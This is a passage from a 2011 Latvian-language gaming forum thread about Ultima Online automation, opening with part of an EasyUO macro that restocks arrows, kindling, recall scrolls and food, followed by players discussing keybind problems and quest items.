C_ , %box exevent drag #findid %amountArrows exevent dropc #backpackid wait 35 } finditem PEF C_ , #backpackid if #findstack <= %minKidlings { set #lobjectid %box event macro 17 0 while #contid <> %box wait 1 finditem PEF C_ , %box exevent drag #findid %amountKidlings exevent dropc #backpackid wait 35 } return sub recalls finditem WTL C_ , #backpackid if #findstack <= 2 || #findcnt = 0 { set #lobjectid %box event macro 17 0 while #contid <> %box wait 1 finditem WTL C_ , %box exevent drag #findid %amountRecalls exevent dropc #backpackid wait 35 } return sub food finditem ZBM C_ , #backpackid if #findcnt = 0 { set #lobjectid %foodCont event macro 17 0 while #contid <> %foodCont wait 1 finditem ZBM C_ , %foodCont; 1 pitcher of milk exevent drag #findid 1 exevent dropc #backpackid wait 35 } finditem GND C_ , #backpackid if #findcnt = 0 { finditem GND C_ , %foodCont exevent drag #findid 4; 4 baocn slices exevent dropc #backpackid wait 35 finditem ZBM C_ , %foodCont; 1 pitcher of milk exevent drag #findid 1 exevent dropc #backpackid wait 35 } return
#6
Posted 16 February 2011 - 20:06
Слабый пол сильнее сильного в силу слабости сильного к слабому...
Казалось, что нам пипец. Оказалось, что не казалось.
#7
Posted 17 February 2011 - 00:21
Tev uz NUMLOCK pogām nekādi bindi nestāv?
stav paldies nonjemsu
tad vajadzetu iet ?
#8
Posted 17 February 2011 - 00:59
ai da es neko nevaru izdaritstav paldies nonjemsu
tad vajadzetu iet ?
tas kordas kas stav man nestrada vins skrien kkur sturii bindus no num nonjemu vienalga. draugs atsutija layeru uzliku savaas kordas vins nem rokas quest hatchet kad cert, bet es quest hatchet nevaru iznjemt lai izpilditu to hatchetes questu man vaig norm bow vai vismaz 1000 bultas.. nauda bultam man nav ta pat ari ka bandagem un visam parejam.. citus kvestus es ari nevaru izpildit visam vaig nedaudz naudas krch es nezinu ko lai iesaku esmu galiga strupceljaa!!
naksies nedelju 24/7 zaget kokus lai tikai dabutu bowu un pectam vell menesi lai pabeigtu salu !!
viegli gan tas viss ir izdomats!
#9
Posted 17 February 2011 - 09:35
aizskrien lidz mezham pats un tad tikai darbini easyuoai da es neko nevaru izdarit
tas kordas kas stav man nestrada vins skrien kkur sturii bindus no num nonjemu vienalga. draugs atsutija layeru uzliku savaas kordas vins nem rokas quest hatchet kad cert, bet es quest hatchet nevaru iznjemt lai izpilditu to hatchetes questu man vaig norm bow vai vismaz 1000 bultas.. nauda bultam man nav ta pat ari ka bandagem un visam parejam.. citus kvestus es ari nevaru izpildit visam vaig nedaudz naudas krch es nezinu ko lai iesaku esmu galiga strupceljaa!!
naksies nedelju 24/7 zaget kokus lai tikai dabutu bowu un pectam vell menesi lai pabeigtu salu !!
viegli gan tas viss ir izdomats!
#10
Posted 19 February 2011 - 11:17
0 user(s) are reading this topic
0 members, 0 guests, 0 anonymous users